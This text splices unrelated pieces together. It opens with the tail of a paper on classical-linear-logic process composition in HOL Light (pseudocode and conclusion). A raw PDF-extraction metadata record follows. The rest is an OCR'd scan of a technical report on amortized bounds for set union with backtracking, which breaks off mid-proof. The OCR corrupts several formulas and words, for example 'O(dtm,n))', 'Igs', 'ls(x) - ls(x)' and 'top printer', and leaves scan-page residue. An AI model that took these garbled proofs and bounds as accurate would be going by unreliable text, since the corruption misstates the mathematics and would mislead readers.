- \( \text{priority} \): a list representing the path of the user selected subterm \( A \) in the syntax tree of the output \( X \) of \( P \). For example, if the user selects \( B \) in the output \( (A \oplus B) \oplus C \), the priority is \{Left; Right\}.
- \( \text{orient} \): our latest path (left or right) in the syntax tree of \( X \) so that we add the corresponding buffers on the same side (see Section 8.2).
- \( \text{inputs} \): a list of inputs of \( Q \). We remove used inputs from this to avoid reuse.
- \( \text{target} \): the input term we are trying to construct. This is initially set to \( X \), but may take values that are subterms of \( X \) in recursive calls.
- \( \text{proc} \): the CLL specification of \( Q \) as it evolves.
The \text{priority} parameter is useful when more than one subterms of the output either (a) are the same or (b) have the same matching input in \( Q \). Table 4 shows examples of how different priorities change the result of \text{INPUT\_TAC}.
Algorithm 1 Manipulates the specification “proc” to synthesize an input of type “target”. Returns a new process specification that is logically derived from the original.
1: function INPUT_TAC(sel, priority, orient, inputs, target, proc)
2: Try to match target with sel (if provided) or one of the inputs
3: if it matches then return proc
4: else if target is atomic then
5: if priority ≠ None then fail ▷ we couldn’t match the user selected output
6: else Create a target buffer using depending on orient
7: end if
8: else if target is \( L \otimes R \) then
9: if priority = Left then
10: \( proc' = INPUT_TAC(sel, tail(priority), orient, inputs, L, proc) \)
11: \( proc = INPUT_TAC(None, None, Right, inputs - \{L\}, R, proc') \)
12: else
13: \( proc' = INPUT_TAC(sel, tail(priority), orient, inputs, R, proc) \)
14: \( proc = INPUT_TAC(None, None, Left, inputs - \{R\}, L, proc') \)
15: end if
16: Use the \( \otimes \) rule to create the \( (L \otimes R)^{\perp} \) input
17: else if target is \( L \oplus R \) then
18: if priority = Left then
19: \( proc = INPUT_TAC(sel, tail(priority), orient, inputs, L, proc) \)
20: Try derivation orElse Try derivation orElse Use derivation
21: else if priority = Right then
22: \( proc = INPUT_TAC(sel, tail(priority), orient, inputs, R, proc) \)
23: Try derivation orElse Try derivation orElse Use derivation
24: else
25: Try as if priority = Left orElse Try as if priority = Right
26: else Create a target buffer using depending on orient
27: end if
28: end if
29: return proc
30: end function
9 Conclusion
CLL’s inherent properties make it an ideal language to reason about resources. CLL sequents (under polarity restrictions) can be viewed as resource-based specifications of processes. The CLL inference rules then describe the logically legal, but primitive ways to manipulate and compose such processes.
We presented algorithms that allow intuitive composition in parallel, conditionally, and in sequence. We call these composition actions TENSOR, WITH, and JOIN respectively, and they are implemented in HOL Light. We analysed how each action functions in different cases and examples.
As a result of the rigorous usage of CLL inference rules, the constructed compositions have guaranteed resource accounting, so that no resources disappear or are created out of nowhere. The proofs-as-processes paradigm and its recent
evolutions allow the extraction of process calculus terms from these proofs, for concurrent and guaranteed deadlock-free execution.
In the future, we intend to work towards relaxing identified limitations along 2 main lines: (a) functionality, by incorporating and dealing with increasingly more complex specifications including those requiring formulation of more complex filters, and (b) expressiveness, by extending the fragment of CLL we are using while keeping a balance in terms of efficiency.
Through this work, it is made obvious that intuitive process compositions in CLL require complex applications of a large number of inference rules. Our algorithms automate the appropriate deductions and alleviate this burden from the user. We have tied these with the diagrammatic interface of WorkflowFM [21], so that the user is not required to know or understand CLL or theorem proving, but merely sees inputs and outputs represented graphically. They can then obtain intuitive process compositions with the aforementioned correctness guarantees with a few simple clicks.
Acknowledgements
This work was supported by the “DigiFlow: Digitizing Industrial Workflow, Monitoring and Optimization” Innovation Activity funded by EIT Digital.
References
|
{"Source-Url": "https://www.research.ed.ac.uk/portal/files/74847636/Correct_by_construction_process_composition_using_classical_linear_logic_inference.pdf", "len_cl100k_base": 11928, "olmocr-version": "0.1.53", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 59709, "total-output-tokens": 14026, "length": "2e13", "weborganizer": {"__label__adult": 0.0004355907440185547, "__label__art_design": 0.0006165504455566406, "__label__crime_law": 0.0005154609680175781, "__label__education_jobs": 0.0012960433959960938, "__label__entertainment": 0.0001266002655029297, "__label__fashion_beauty": 0.00021445751190185547, "__label__finance_business": 0.0004901885986328125, "__label__food_dining": 0.0005526542663574219, "__label__games": 0.0007991790771484375, "__label__hardware": 0.0009713172912597656, "__label__health": 0.0013189315795898438, "__label__history": 0.0003509521484375, "__label__home_hobbies": 0.0001577138900756836, "__label__industrial": 0.0008225440979003906, "__label__literature": 0.0005321502685546875, "__label__politics": 0.00036835670471191406, "__label__religion": 0.0006356239318847656, "__label__science_tech": 0.14892578125, "__label__social_life": 0.00013720989227294922, "__label__software": 0.00884246826171875, "__label__software_dev": 0.83056640625, "__label__sports_fitness": 0.0003578662872314453, "__label__transportation": 0.0007510185241699219, "__label__travel": 0.0002180337905883789}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47397, 0.02013]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47397, 0.61134]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47397, 0.83541]], "google_gemma-3-12b-it_contains_pii": [[0, 1328, false], [1328, 3828, null], [3828, 6834, null], [6834, 9049, null], [9049, 12077, null], [12077, 14893, null], [14893, 18359, null], [18359, 21820, null], [21820, 24751, null], [24751, 28698, null], [28698, 31228, null], [31228, 34009, null], [34009, 36368, null], [36368, 39410, null], [39410, 41847, null], [41847, 44568, null], [44568, 47397, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1328, true], [1328, 3828, null], [3828, 6834, null], [6834, 9049, null], [9049, 12077, null], [12077, 14893, null], [14893, 18359, null], [18359, 21820, null], [21820, 24751, null], [24751, 28698, null], [28698, 31228, null], [31228, 34009, null], [34009, 36368, null], [36368, 39410, null], [39410, 41847, null], [41847, 44568, null], [44568, 47397, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47397, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47397, null]], "pdf_page_numbers": [[0, 1328, 1], [1328, 3828, 2], [3828, 6834, 3], [6834, 9049, 4], [9049, 12077, 5], [12077, 14893, 6], [14893, 18359, 7], [18359, 21820, 8], [21820, 24751, 9], [24751, 28698, 10], [28698, 31228, 11], [31228, 34009, 12], [34009, 36368, 13], [36368, 39410, 14], [39410, 41847, 15], [41847, 44568, 16], [44568, 47397, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47397, 0.10541]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
5b07d2c74e81320eb4dd2c1cceb593518ba5f191
|
AMORTIZED ANALYSIS OF ALGORITHMS FOR SET UNION WITH BACKTRACKING REVISION (U) PRINCETON UNIV NJ DEPT OF COMPUTER SCIENCE J WESTBROOK ET AL. MAR 88
UNCLASSIFIED CS-TR-103-87-REV N00014-87-K-0467 F/G 12/1 NL
MICROCOPY RESOLUTION TEST CHART
NATIONAL BUREAU OF STANDARDS 1963-A
AMORTIZED ANALYSIS OF ALGORITHMS FOR
SET UNION WITH BACKTRACKING
Jeffery Westbrook
Robert E. Tarjan
CS-TR-103-87
May 1987
Mannila and Ukkonen have studied a variant of the classical disjoint set union (equivalence) problem in which an extra operation, called deunion, can undo the most recently performed union operation not yet undone. They proposed a way to modify standard set union algorithms to handle deunion operations. We analyze several algorithms based on their approach. The most efficient such algorithms have an amortized running time of $O(\log n/\log \log n)$ per operation, where $n$ is the total number of elements in all the sets. These algorithms use $O(n \log n)$ space, but the space usage can be reduced to $O(n)$ by a simple change. We prove that any separable pointer-based algorithm for the problem requires $\Omega(\log n/\log \log n)$ time per operation, thus showing that our upper bound an amortized time is tight.
Amortized Analysis of Algorithms for Set Union with Backtracking*
Jeffery Westbrook
Computer Science Department
Princeton University
Princeton, New Jersey 08544
Robert E. Tarjan
Computer Science Department
Princeton, New Jersey 08544
and
AT&T Bell Laboratories
Murray Hill, New Jersey 07974
May, 1987
Revised, March, 1988
1. Introduction.
The classical disjoint set union problem is that of maintaining a collection of disjoint sets whose union is $U = \{1,2,\ldots,n\}$ subject to a sequence of $m$ intermixed operations of the following two kinds:
$\text{find } (x)$: Return the name of the set currently containing element $x$.
$\text{union } (A,B)$: Combine the sets named $A$ and $B$ into a new set, named $A$.
* Research partially supported by National Science Foundation Grant DCR-8605962 and Office of Naval Research Contract N00014-87-K-0467.
The initial collection consists of \( n \) singleton sets, \( \{1\}, \{2\}, \ldots , \{n\} \). The name of initial set \( \{i\} \) is \( i \). For simplicity in stating bounds we assume \( m = \Omega(n) \). This assumption does not significantly affect any of the results, and it holds in most applications.
Several fast algorithms for this problem are known [9,12]. They all combine a rooted tree set representation with some form of path compaction. The fastest such algorithms run in \( O(\alpha(m,n)) \) amortized time* per operation, where \( \alpha \) is a functional inverse of Ackermann's function [9,12]. No better bound is possible for any pointer-based algorithm that uses a separable set representation [10]. For the special case of the problem in which the subsequence of union operations is known in advance, the use of address arithmetic techniques leads to an algorithm with an amortized time bound of \( O(1) \) per operation [2].
Mannila and Ukkonen [6] studied a generalization of the set union problem called set union with backtracking, in which the following third kind of operation is allowed:
\textit{deunion}: Undo the most recently performed union operation that has not yet been undone.
This problem arises in Prolog interpreter memory management [5]. Mannila and Ukkonen showed how to extend path compaction techniques to handle backtracking. They posed the question of determining the inherent complexity of the problem, and they claimed an \( O(\log \log n) \) amortized time bound per operation for one algorithm based on their approach. Unfortunately, their upper bound argument is faulty.
In this paper we derive upper and lower bounds on the amortized efficiency of algorithms for set union with backtracking. We show that several algorithms based on the approach of Mannila and Ukkonen run in \( O(\log n / \log \log n) \) amortized time per operation. These algorithms use \( O(n \log n) \) space, but the space can be reduced to \( O(n) \) by a simple change. We also show that any pointer-based algorithm that uses a separable set representation requires \( \Omega(\log n / \log \log n) \) amortized time per operation. All the algorithms we analyze are subject to this lower bound. Improving the upper
* The \textit{amortized time} is the time of an operation averaged over a worst-case sequence of operations. See the second author's survey paper [11].
bound of $O(\log n/\log \log n)$, if it is possible, will require the use of either a nonseparable pointer-based data structure or of address arithmetic techniques.
The remainder of this paper consists of four sections. In Section 2 we review six algorithms for set union without backtracking and discuss how to extend them to handle backtracking. In Section 3 we derive upper bounds for the amortized running times of these algorithms. In Section 4 we derive a lower bound on amortized time for all separable pointer-based algorithms for the problem. Section 5 contains concluding remarks and open problems.
2. Algorithms for Set Union with Backtracking
The known efficient algorithms for set union without backtracking [9,12] use a collection of disjoint rooted trees to represent the sets. The elements in each set are the nodes of a tree, whose root contains the set name. Each element contains a pointer to its parent. Associated with each set name is a pointer to the root of the tree representing the set. Each initial (singleton) set is represented by a one-node tree.
To perform union $(A,B)$, we make the tree root containing $B$ point to the root containing $A$, or alternatively make the root containing $A$ point to the root containing $B$ and swap the names $A$ and $B$ between their respective elements. (This not only moves the name $A$ to the right place but also makes undoing the union easy, as we shall see below.) The choice between these two alternatives is governed by a union rule. To perform $\text{find}(x)$, we follow the path of pointers from element $x$ to the root of the tree containing $x$ and return the set name stored there. In addition, we apply a compaction rule, which modifies pointers along the path from $x$ to the root so that they point to nodes farther along the path.
We shall consider the following possibilities for the union and compaction rules:
**Union Rules:**
*Union by weight:* Store with each tree root the number of elements in its tree.
When doing a union, make the root of the smaller tree point to the root of the larger, breaking a tie arbitrarily.
*Union by rank:* Store with each tree root a nonnegative integer called its rank.
The rank of each initial tree root is zero. When doing a union, make the root of smaller rank point to the root of larger rank. In the case of a tie, make either root point to the other, and increase the rank of the root of the new tree by one.
Compaction Rules (see Figure 1):
Compression: After a find, make every element along the find path point to the tree root.
Splitting: After a find, make every element along the find path point to its grandparent, if it has one.
Halving: After a find, make every other element along the find path (the first, the third, etc.) point to its grandparent, if it has one.
The two choices of a union rule and three choices of a compaction rule give six possible set union algorithms. Each of these has an amortized running time of $O(dtm,n))$ per operation [12].
We shall describe two ways to extend these and similar algorithms to handle deunion operations. The first method is the one proposed by Mannila and Ukkonen; the second is a slight variant.
We call a union operation that has been done but not yet undone live. We denote a pointer from a node $x$ to a node $y$ by $(x,y)$. Suppose that we perform finds without doing any compaction. Then performing deunions is easy: to undo a set union we merely make null the pointer added to the data structure by the union. To facilitate this, we maintain a union stack, which contains the tree roots made nonroots by live unions. To perform a deunion, we pop the top element on the union stack and make the corresponding parent pointer null.
This method works with either of the two union rules. Some bookkeeping is needed to maintain set names and sizes or ranks. Each entry on the union stack must contain not only an element but also a bit that indicates whether the corresponding union operation swapped set names. If union by rank is used, each such entry must
contain a second bit that indicates whether the union operation incremented the rank of the new tree root. The time to maintain set names and sizes or ranks is $O(1)$ per union or deunion; thus each union or deunion takes $O(1)$ time, worst-case. Either union rule guarantees a maximum tree depth of $O(\log n)$ [12]; thus the worst-case time per find is $O(\log n)$. The space needed by the data structure is $O(n)$.
Mannila and Ukkonen's goal was to reduce the time per find, possibly at the cost of increasing the time per union or deunion and increasing the space. They developed the following method for allowing compaction in the presence of deunions. Let us call the forest maintained by the noncompacting algorithm described above the reference forest. In the compacting method, each element $x$ has an associated pointer stack $P(x)$, which contains the outgoing pointers that have been created during the course of the algorithm but have not yet been destroyed. The bottommost pointer on this stack is one created by a union. Such a pointer is called a union pointer. The other pointers on the stack are ones created by compaction. They are called find pointers. Each pointer $(x,y)$ of either type is such that $y$ is a proper ancestor of $x$ in the reference forest.
Each pointer has an associated union operation, which is the one whose undoing would invalidate the pointer. To be more precise, for a pointer $(x,y)$ the associated union operation is the one that created the pointer $(z,y)$ such that $z$ is a child of $y$ and an ancestor of $x$ in the reference forest. As a special case of this definition, if $(x,y)$ is a union pointer then $z = x$ and the associated union operation is the one that created $(x,y)$. A pointer is live if its associated union is live.
Unions and deunions are performed as in the noncompacting method. Compactions are performed as in the set union algorithm without backtracking, except that each new pointer $(x,y)$ is pushed onto $P(x)$ instead of replacing the old pointer leaving $x$. When following a find path from an element $x$, the algorithm pops dead pointers from the top of $P(x)$ until $P(x)$ is empty or a live pointer is on top. In the former case, $x$ is the root of its tree; in the latter case, the live pointer is followed.
This algorithm requires a way to determine whether a pointer is live or dead. For this purpose the algorithm numbers the union operations consecutively from one as they are performed. Each entry on the union stack contains the number of the corresponding union. Each pointer on a pointer stack contains the number of the
associated union and a pointer to the position on the union stack where the entry for this union was made. This information can be computed in \( O(1) \) time for any pointer \((x,y)\) when it is created. If \((x,y)\) is a union pointer, the information is computed as part of the union. If \((x,y)\) is a find pointer, then the last pointer on the find path from \(x\) to \(y\) when \((x,y)\) was created has the same associated union as \((x,y)\) and has stored with it the needed information. To test whether a pointer is live or dead, it is merely necessary to access the union stack entry whose position is recorded with the pointer and test first, if the entry is still on the stack, and second, whether its union number is the same as that stored with the pointer. If so, the pointer is live; if not, dead.
The implementation of deunion must be changed slightly, to preserve the invariant that in every pointer stack all the dead pointers are on top. To perform a deunion, the algorithm pops the top entry on the union stack. Let \(x\) be the element in this entry. The algorithm pops \(P(x)\) until it contains only one pointer, which is the union pointer created by the union that is to be undone. The algorithm restores the set names and sizes or ranks as necessary, and pops the last pointer from \(P(x)\). Because of the compaction, the state of the data structure after a deunion will not in general be the same as its state before the corresponding union.
We call this method the **lazy method** since it destroys dead pointers in a lazy fashion. Either of the union rules and any of the compaction rules can be used with the method. The total running time is proportional to \(m\) plus the total number of pointers created. (With any of the compaction rules, a compaction of a find path containing \(k \geq 2\) pointers results in the creation of \(\Omega(k)\) pointers, \(k - 1\) in the case of compression or splitting and \(\lfloor k/2 \rfloor\) in the case of halving.)
An alternative to the lazy method is the **eager method**, which pops pointers from pointer stacks as soon as they become dead. To make this popping possible, each union stack entry must contain a list of the pointers whose associated union is the one corresponding to the entry. When a union stack entry is popped, all the pointers on its list are popped from their respective pointer stacks as well. Each such pointer will be on top of its stack when it is to be popped. To represent such a pointer, say \((x,y)\), in a union stack entry, it suffices to store \(x\). With this method, numbering the union operations is unnecessary, as is popping pointer stacks during finds.
The time required by the eager method for any sequence of operations is only a
constant factor greater than that required by the lazy method, since both methods create the same pointers but the eager method destroys them earlier. With either union rule, the eager method uses $O(n \log n)$ space in the worst case, since the maximum tree depth is $O(\log n)$ and all pointers on any pointer stack point to distinct elements. (From bottom to top, the pointers on $P(x)$ point to shallower and shallower ancestors of $x$.)
The lazy method also has an $O(n \log n)$ space bound, as observed by Esa Heittula (private communication, 1988). For any node $x$, consider the top printer on $P(x)$, which is to a node, say $y$. Even if the pointer from $x$ to $y$ is currently dead, it must once have been live, and all pointers currently on $P(x)$ point to distinct nodes on the tree path from $x$ to $y$ as it existed when the pointer from $x$ to $y$ was live. Thus there can be only $O(\log n)$ such pointers.
The choice between the lazy and eager methods is not clear-cut. The lazy method requires numbering the unions, and these numbers can grow arbitrarily large, although reuse of such numbers reduces the number of distinct numbers required to $O(n \log n)$. As we shall see at the end of Section 3, a small change in the compaction rules reduces the space needed by either method to $O(n)$.
3. Upper Bounds on Amortized Time
The analysis to follow applies to both the lazy method and the eager method. Ignoring the choice between lazy and eager pointer deletion, there are six versions of the algorithm, depending on the choice of a union rule and a compaction rule.
As a first step on the analysis, we note that compression with either union rule is no better in the amortized sense than doing no compaction at all, i.e. the amortized time per operation is $\Omega(\log n)$. The following class of examples shows this. For any $k$, form a tree of $2^k$ elements by doing unions on pairs of elements, then on pairs of pairs, and so on. This produces a tree called a binomial tree $B_k$, whose depth is $k$. (See Figure 2.) Repeat the following three operations any number of times: do a find on the deepest element in $B_k$, undo the most recent union, and redo the union. Each find creates $k - 1$ pointers, which are all immediately made dead by the subsequent deunion. Thus the amortized time per operation is $\Omega(k) = \Omega(\log n)$.
Both splitting and halving perform better; each has an $O(\log n/\log \log n)$ amortized bound per operation, in combination with either union rule. To prove this, we need a definition. For an element $x$, let $\text{size}(x)$ be the number of descendants of $x$ (including itself) in the reference forest. The logarithmic size of $x$, $\text{lgs}(x)$, is $\lfloor \log \text{size}(x) \rfloor$.
We need the following lemma concerning logarithmic sizes when union by weight is used.
**Lemma 1** [9]. Suppose union by weight is used. If node $v$ is the parent of node $w$ in the reference forest, then $\text{lgs}(w) < \text{lgs}(v)$. Any node has logarithmic size between 0 and $\log n$ (inclusive).
**Proof.** When a node $v$ becomes the parent of another node $w$, $\text{size}(w) \leq 2 \times \text{size}(v)$ by the union by weight rule. Later unions can only increase $\text{size}(v)$ and cannot increase $\text{size}(w)$ (unless the union linking $v$ and $w$ is undone). The lemma follows. $\square$
**Theorem 1.** Union by weight in combination with either splitting or halving gives an algorithm for set union with backtracking running in $O(\log n/\log \log n)$ amortized time per operation.
**Proof.** We shall charge the pointer creations during the algorithm to unions and finds in such a way that each operation is charged for $O(\log n/\log \log n)$ pointer creations. For an arbitrary positive constant $c < 1$, we call a pointer $(x,y)$ short if $\text{lgs}(y) - \text{lgs}(x) \leq c \log \log n$ and long otherwise. (The logarithmic sizes in this definition are measured at the time $(x,y)$ is created.) We charge the creation of a pointer $(x,y)$ as follows:
(i) If $y$ is a tree root, charge the operation (union or find) that created $(x,y)$.
(ii) If $y$ is not a tree root and $(x,y)$ is long, charge the find that created $(x,y)$.
(iii) If $y$ is not a tree root and $(x,y)$ is short, charge the union that most recently made
* For any $x$, $\log x = \log_2 x$.
\[ \]
y a non-root.
A find with splitting creates two new paths of pointers, and a find with halving creates one new path of pointers. Thus $O(1)$ pointers are charged to each operation by (i). The number of long pointers along any path can be estimated as follows. For any long pointer $(x,y)$, $Igs(y) - Igs(x) > c \lg \lg n$. Logarithmic sizes strictly increase along any path and are between 0 and $\lg n$ by Lemma 1. Thus if there are $k$ long pointers on a path, $\lg n \geq kc \lg \lg n$, which implies $k \leq \lg n/(c \lg \lg n)$. Thus a find with either splitting or halving can create only $O(\log n/\log \log n)$ long pointers, which means that $O(\log n/\log \log n)$ pointers are charged to each find by (ii).
It remains for us to bound the number of pointers charged by (iii). Consider a union operation that makes an element $x$ a child of another element $y$. Let $I$ be the time interval during which pointers are charged by (iii) to this union. During $I$, the sizes, and hence the logarithmic sizes, of all descendants of $x$ remain constant. Interval $I$ ends with the undoing of the union.
For each descendant $w$ of $x$, at most one pointer $(w,x)$ can be charged by (iii) to the union, since the creation of another such pointer charged by (iii) cannot occur at least until $x$ again becomes a root and then becomes a nonroot, which can only happen after the end of $I$. Thus the number of pointers charged by (iii) to the union is at most one per descendant $w$ of $x$ such that $Igs(x) - Igs(w) < c \lg \lg n$.
Since logarithmic sizes strictly increase along tree paths, any two elements $u$ and $v$ with $Igs(u) = Igs(v)$ must be unrelated, i.e. their sets of descendants are disjoint. This means that the number of descendants $w$ of $x$ with $Igs(w) = i$ is at most $\text{size}(x)^{-i} \leq 2^{Igs(x)+1-i}$, and the number of descendants $w$ of $x$ with $Igs(x) - Igs(w) \leq c \lg \lg n$ is at most
$$\sum_{i=Igs(x)-[c \lg \lg n]}^{Igs(x)} 2^{Igs(x)+1-i} \leq 2^{[c \lg \lg n]+2} = O((\log n)^c) = O(\log n/\log \log n),$$
since $c < 1$. Thus there are $O(\log n/\log \log n)$ pointers charged to the union by (iii).
The same result holds if union by rank is used instead of union by weight, but in this case the proof becomes a little more complicated because logarithmic sizes need
not strictly increase along tree paths. We deal with this by slightly changing the definition of short and long pointers. We need the following lemma.
**Lemma 2** [12]. Suppose union by rank is used. If node $v$ is the parent of node $w$ in the reference forest, then $0 \leq \text{ls}(w) \leq \text{ls}(v) \leq \lg n$ and $0 \leq \text{rank}(w) < \text{rank}(v) \leq \lg n$.
**Proof.** The first group of inequalities is immediate. The definition of union by rank implies $\text{rank}(w) < \text{rank}(v)$. A proof by induction on the rank of $v$ shows that $\text{size}(v) \geq 2^{\text{rank}(v)}$, which implies that $\text{rank}(v) \leq \lg n$. □
**Theorem 2.** Union by rank in combination with either splitting or halving gives an algorithm for set union with backtracking running in $O(\log n / \log \log n)$ amortized time per operation.
**Proof.** We define a pointer $(x,y)$ to be short if $\max\{\text{ls}(y) - \text{ls}(x), \text{rank}(y) - \text{rank}(x)\} \leq c \lg \lg n$ and long otherwise, where $c < 1$ is a positive constant. We charge the creation of pointers to unions and finds exactly as in the proof of Theorem 1 (rules (i), (ii), and (iii)). The number of pointers charged by rule (i) is $O(1)$ per union or find, exactly as in the proof of Theorem 1. A long pointer $(x,y)$ satisfies at least one of the inequalities $\text{ls}(x) - \text{ls}(x) > c \lg \lg n$ and $\text{rank}(y) - \text{rank}(x) > c \lg \lg n$. Along any tree path only $O(\log n / \log \log n)$ long pointers can satisfy the former inequality and only $O(\log n / \log \log n)$ long pointers can satisfy the latter, by Lemma 2. It follows that only $O(\log n / \log \log n)$ pointers can be charged per find by rule (ii).
To count short pointers, we make one more definition. For a non-root element $x$, let $p(x)$ be the parent of $x$ in the reference forest. A non-root $x$ is good if $\text{ls}(x) < \text{ls}(p(x))$ and bad otherwise, i.e. if $\text{ls}(x) = \text{ls}(p(x))$. The definition of $\text{ls}$ implies that any element can have at most one bad child. The bad elements thus form paths called bad paths of length $O(\log n)$; all elements on a bad path have the same logarithmic size. We call the element of largest rank on a bad path the head of the path. The head of a bad path is a bad element whose parent is either a good element or a tree root.
Consider a union operation that makes an element $x$ a child of an element $y$. We
count short pointers charged to this union as follows:
(1) **Short pointers leading from good elements.** If \( v \) and \( w \) are good elements such that \( \lg s(v) = \lg s(w) \), then \( v \) and \( w \) are unrelated in the reference forest, i.e. they have disjoint sets of descendants. The analysis that yielded the count of short pointers in the proof of Theorem 1 applies to the good elements here to yield a bound of \( O((\log n)^c) = O(\log n/\log \log n) \) short pointers leading from good elements that are charged to the union by (iii).
(2) **Short pointers leading from bad elements.** Consider the number of bad paths from which short pointers can lead to \( x \). The head of such a path is an element \( w \) such that \( p(w) \) is either good or a tree root, and \( \lg s(x) - \lg s(w) \leq c \lg \lg n \). Heads of different bad paths have different parents. The analysis that counts short pointers in the proof of Theorem 1 yields an \( O((\log n)^c) \) bound on the number of bad paths from which short pointers can lead to \( x \). Along such a bad path, rank strictly increases, and the definition of shortness implies that only the \( c \lg \lg n \) elements of largest rank along the path can have short pointers leading to \( x \). The total number of short pointers leading from bad nodes that are charged to the union by (iii) is thus \( O(c \log \log n (\log n)^c) = O(\log n/\log \log n) \). □
We conclude this section by discussing how to reduce the space bound for both the lazy method and the eager method to \( O(n) \). This is accomplished by making the following simple changes in the compaction rules. If union by size is used, the compaction of a find path is begun at the first node along the path whose size is at least \( \lg n \). If union by rank is used, the compaction of a find path is begun at the first node whose rank is at least \( \lg \lg n \). With this modification, only \( O(n/\log n) \) nodes have find pointers leaving them, and the total number of pointers in the data structure at any time is \( O(n) \). The analysis in Theorems 1 and 2 remains valid, except that there is an additional time per find of \( O(\log \log n) \) to account for the initial, noncompacted part of each find path.
4. A General Lower Bound on Amortized Time
We shall prove that the bound in Theorems 1 and 2 is best possible for a large class of algorithms for set union with backtracking. Our computational model is the pointer machine \([3,4,8,10]\) with an added assumption about the data structure called separability. Related results follow. Tarjan [10] derived an amortized bound in this model for the set union problem without backtracking. Blum [1] derived a worst-case-per-operation lower bound for the same problem. Mehlhorn, Nährer, and Alt [7] derived an amortized lower bound for a related problem. Their result does not require separability.
The algorithms to which our lower bound applies are called separable pointer algorithms. Such an algorithm uses a linked data structure that can be regarded as a directed graph, with each pointer represented by an edge. The algorithm solves the set union with backtracking problem according to the following rules:
(i) The operations are presented on-line, i.e. each operation must be completed before the next one is known.
(ii) Each set element is a node of the data structure. There can be any number of additional nodes.
(iii) (Separability). After any operation, the data structure can be partitioned into node-disjoint subgraphs, one corresponding to each currently existing set and containing all the elements in the set. The name of the set occurs in exactly one node in the subgraph. No edge leads from one subgraph to another.
(iv) The cost of an operation find \((x)\) is the length (number of edges) of the shortest path from \(x\) to the node that holds the name of the set containing \(x\). This length is measured at the beginning of the find, i.e. before the algorithm changes the structure as specified in (v).
(v) During any find, union, or deunion operation, the algorithm can add edges to the data structure at a cost of one per edge, delete edges at a cost of zero, and move, add, or delete set names at a cost of zero. The only restriction is that separability must hold after each operation.
The eager method of Section 2 obeys rules (i)-(v). This is also true of the lazy method, if we regard pointers as disappearing from the model data structure as soon as they become dead. This does not affect the performance of the algorithm in the model, since once a pointer becomes dead it is never followed.
**Theorem 3.** For any \( n \), any \( m = \Omega(n) \), and any separable pointer algorithm, there is a sequence of \( m \) find, union, and deunion operations whose cost is \( \Omega(m \log n / \log \log n) \).
**Proof.** We shall prove the theorem for \( n \) of the form \( 2^{2^k} \) for some \( k \geq 1 \) and for \( m \geq 4n \). The result follows for all \( n \) and \( m = \Omega(n) \) by padding the expensive problem instances constructed below with extra singleton sets on which no operations take place and with extra finds.
In estimating the cost of a sequence of operations, we shall charge the cost of adding an edge to the data structure to the deletion of the edge. Since this postpones the cost, it cannot increase the total cost of a sequence.
We construct an expensive sequence as follows. The first \( n - 1 \) operations are unions that build a set of size \( n \) by combining singletons in pairs, pairs in pairs, and so on. The remaining operations occur in groups, each group containing between \( 1 \) and \( 2n - 2 \) operations. Each group begins and ends with all the elements in one set. We obtain a group of operations by applying the appropriate one of the following two cases (if both apply, either may be selected). Let \( b = \lfloor g n / \log \log n \rfloor \).
1. If some element in the (only) set is at distance at least \( b \) away from the set name, do a find on this element.
2. If some sequence of \( \ell \) deunions will force the deletion of \( \ell b \) edges from the data structure (to maintain separability), do these deunions. Then do the corresponding unions in the reverse order, restoring the initial set of size \( n \).
We claim that if there is only one set, formed by repeated pairing, then Case (1) or Case (2) must apply. If this is true, we can obtain an expensive sequence of operations by generating successive groups of operations until more than \( m - 2n + 2 \) operations have occurred, and then padding the sequence with enough additional finds to
make a total of \( m \) operations. The cost of such a sequence is at least
\((m-3n+3)b = \Omega(m \log n/\log \log n)\).
It remains to prove the claim. Suppose Case (2) does not apply. We shall show
that Case (1) does. Let \( f = (\lg n)^2 \). For \( 0 \leq i \leq \lg n/\lg f \) we define a partition \( P_i \) of
the nodes of the data structure by
\[
P_i = \{ X \mid X \text{ is the collection of nodes in the subgraph corresponding to one of} \]
\[\text{the sets that would be formed by doing } f^i - 1 \text{ deunions} \}
\]
Observe that \( |P_i| = f^i \). Also \( f^\lg n/\lg f = n \), so \( P_i \) is defined for \( i \leq \lg n/\lg f \). In particular \( P_b \) is defined, since \( b = \lfloor \lg n/(2 \lg \lg n) \rfloor = \lfloor \lg n/\lg f \rfloor \).
For \( 0 \leq i \leq \lg n/\lg f \), we define the collection \( D_i \) of deep sets in \( P_i \) by
\[
D_i = \{ X \in P_i \mid \text{all elements in } X \text{ are at distance at least } i \text{ from} \]
\[\text{the name of the single set} \}. \]
Let \( d_i = |D_i| \). We shall show that \( d_b > 0 \), which implies the existence of an element at distance at least \( b \) away from the name of the single set; hence Case (1) applies.
Let \( \ell_i \) be the number of edges that lead from one set in \( P_i \) to another. We have \( \ell_i \leq bf^i \), since otherwise performance of \( f^i - 1 \) deunions would force the deletion of \( bf^i \) edges from the data structure, and Case (2) would apply.
Now we derive a recursive bound on \( d_i \). We have \( d_1 = f - 1 \), since only one of \( f \) sets in \( P_1 \) can contain the only set name. We claim that \( d_{i+1} \geq fd_i - \ell_i \). To verify the claim, let us consider \( D_i \). Since \( n = 2^{2^t} \) and the union structure of the only
